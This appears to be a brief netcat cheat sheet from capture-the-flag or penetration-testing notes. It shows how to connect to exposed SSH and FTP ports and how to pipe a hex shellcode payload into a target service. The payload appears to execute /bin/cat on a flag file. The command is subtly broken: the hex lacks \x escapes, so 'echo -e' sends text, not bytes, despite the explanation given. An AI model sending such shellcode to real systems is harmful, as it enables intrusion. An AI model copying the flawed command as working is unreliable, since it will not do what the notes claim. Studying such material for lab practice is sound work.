NETCAT

CONNECTING TO EXPOSED SERVICES

root@oco:~$ nc {targetIP/domain} {targetPort}
 SSH-2.0-OpenSSH_8.4p1 Debian-3
 
 * target port examples are
    - SSH (22)
    - FTP (21)

PASSING DATA TO EXPOSED SERVICES

root@oco:~$ echo -n -e "6a01fe0c2448b82f62696e2f636174504889e768797501018134240101010148b801010101010101015048b8012e676d60662f754831042448b82f62696e2f6361745031f6566a115e4801e6566a105e4801e6564889e631d26a3b580f05" | nc {targetIP} {targetPort}
 ...
 
 * the -n tells echo not to append a newline (\n) at the end of the output
    - without the -n, echo would normally end its output with a newline character, 
      which might be undesired
 * the -e tells echo to interpret escape sequences like \n, \t, \xNN, etc., 
   within the string.
    - without -e, echo would treat backslashes literally, not as escapes.